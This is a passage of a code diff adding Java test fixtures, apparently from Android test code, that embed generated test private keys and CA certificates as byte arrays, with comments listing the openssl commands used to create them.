+            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
+            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
+            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
+            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
+            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
+            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
+            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
+            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
+            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
+            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
+            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
+            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
+        };
+
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] caCertificate = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
+            (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
+            (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
+            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
+            (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
+            (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
+            (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
+            (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
+            (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
+            (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
+            (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
+            (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
+            (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
+            (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
+            (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
+            (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
+            (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
+            (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
+            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
+            (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
+            (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
+            (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
+            (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
+            (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
+            (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
+            (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
+            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
+            (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
+            (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
+            (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
+            (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
+            (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
+            (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
+            (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
+            (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
+            (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
+            (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
+            (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
+            (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
+            (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
+            (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
+            (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
+            (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
+            (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
+            (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
+            (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
+            (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
+            (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
+            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+            (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
+            (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
+            (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
+            (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
+            (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
+            (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
+            (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
+            (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
+            (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
+            (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
+            (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
+            (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
+            (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+            (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+            (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
+            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
+            (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
+            (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
+            (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
+            (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
+            (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
+            (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
+            (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
+            (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
+            (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
+            (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
+            (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
+            (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+            (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+            (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
+            (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
+            (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
+            (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
+            (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
+            (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
+            (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
+            (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
+            (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
+            (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
+            (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
+            (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
+            (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
+            (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
+            (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
+            (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
+            (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
+            (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
+            (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
+            (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
+            (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
+            (byte) 0xf1, (byte) 0x61
+        };
+    }
+
+    /*
+     * The keys and certificates below are generated with:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     * openssl dsaparam -out dsaparam.pem 1024
+     * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
+     * mkdir -p demoCA/newcerts
+     * touch demoCA/index.txt
+     * echo "01" > demoCA/serial
+     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+     */
+    public static class FAKE_DSA_1 {
+        /**
+         * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
+         * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] privateKey = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
+            (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
+            (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
+            (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
+            (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
+            (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
+            (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
+            (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
+            (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
+            (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
+            (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
+            (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
+            (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
+            (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
+            (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
+            (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
+            (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
+            (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
+            (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
+            (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
+            (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
+            (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
+            (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
+            (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
+            (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
+            (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
+            (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
+            (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
+            (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
+            (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
+            (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
+            (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
+            (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
+            (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
+            (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
+            (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
+            (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
+            (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
+            (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
+            (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
+            (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
+            (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
+            (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
+            (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
+            (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
+            (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
+            (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
+            (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
+            (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
+            (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
+            (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
+            (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
+            (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
+            (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
+
+        };
+
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] caCertificate = new byte[] {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
+            (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
+            (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
+            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
+            (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
+            (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
+            (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
+            (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
+            (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
+            (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
+            (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
+            (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
+            (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
+            (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
+            (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
+            (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
+            (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
+            (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
+            (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
+            (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
+            (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
+            (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
+            (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
+            (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
+            (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
+            (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
+            (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
+            (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
+            (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
+            (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
+            (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
+            (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
+            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
+            (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
+            (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
+            (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
+            (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
+            (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
+            (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
